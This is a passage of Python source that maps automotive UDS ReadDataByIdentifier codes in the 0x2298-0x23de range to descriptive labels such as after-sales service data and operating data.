\"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2298] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2299] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x229a] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x229b] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x229c] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x229d] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x229e] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x229f] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a0] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a1] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a2] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a3] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a4] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a5] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a6] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a7] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a8] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22a9] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22aa] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ab] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ac] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ad] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ae] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22af] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b0] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b1] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b2] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b3] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b4] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b5] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b6] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b7] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b8] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22b9] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ba] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22bb] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22bc] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22bd] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22be] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22bf] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c0] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c1] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c2] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c3] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c4] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c5] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c6] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c7] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c8] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22c9] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ca] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22cb] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22cc] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22cd] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ce] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22cf] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d0] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d1] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d2] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d3] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d4] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d5] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d6] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d7] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d8] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22d9] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22da] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22db] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22dc] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22dd] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22de] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22df] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e0] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e1] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e2] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e3] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e4] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e5] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e6] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e7] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e8] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22e9] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ea] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22eb] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ec] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ed] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ee] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ef] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f0] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f1] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f2] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f3] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f4] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f5] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f6] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f7] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f8] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22f9] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22fa] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22fb] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22fc] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22fd] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22fe] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x22ff] = \"afterSalesServiceData_2200_22FF\"\nUDS_RDBI.dataIdentifiers[0x2300] = \"operatingData\"  # or RDBCI_BETRIEBSDATEN_LESEN_REQ  # noqa E501\nUDS_RDBI.dataIdentifiers[0x2301] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2302] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2303] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2304] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2305] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2306] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2307] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2308] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2309] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x230a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x230b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x230c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x230d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x230e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x230f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2310] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2311] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2312] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2313] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2314] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2315] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2316] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2317] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2318] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2319] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x231a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x231b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x231c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x231d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x231e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x231f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2320] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2321] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2322] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2323] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2324] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2325] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2326] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2327] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2328] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2329] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x232a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x232b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x232c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x232d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x232e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x232f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2330] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2331] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2332] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2333] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2334] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2335] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2336] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2337] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2338] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2339] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x233a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x233b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x233c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x233d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x233e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x233f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2340] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2341] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2342] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2343] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2344] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2345] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2346] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2347] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2348] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2349] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x234a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x234b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x234c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x234d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x234e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x234f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2350] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2351] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2352] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2353] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2354] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2355] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2356] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2357] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2358] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2359] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x235a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x235b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x235c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x235d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x235e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x235f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2360] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2361] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2362] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2363] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2364] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2365] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2366] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2367] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2368] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2369] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x236a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x236b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x236c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x236d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x236e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x236f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2370] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2371] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2372] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2373] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2374] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2375] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2376] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2377] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2378] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2379] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x237a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x237b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x237c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x237d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x237e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x237f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2380] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2381] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2382] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2383] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2384] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2385] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2386] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2387] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2388] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2389] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x238a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x238b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x238c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x238d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x238e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x238f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2390] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2391] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2392] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2393] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2394] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2395] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2396] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2397] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2398] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x2399] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x239a] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x239b] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x239c] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x239d] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x239e] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x239f] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a0] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a1] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a2] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a3] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a4] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a5] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a6] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a7] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a8] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23a9] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23aa] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ab] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ac] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ad] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ae] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23af] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b0] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b1] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b2] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b3] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b4] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b5] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b6] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b7] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b8] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23b9] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ba] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23bb] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23bc] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23bd] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23be] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23bf] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c0] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c1] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c2] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c3] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c4] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c5] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c6] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c7] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c8] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23c9] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ca] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23cb] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23cc] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23cd] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23ce] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23cf] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d0] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d1] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d2] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d3] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d4] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d5] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d6] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d7] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d8] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23d9] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23da] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23db] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23dc] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23dd] = \"additionalOperatingData 2301-23FF\"\nUDS_RDBI.dataIdentifiers[0x23de] = 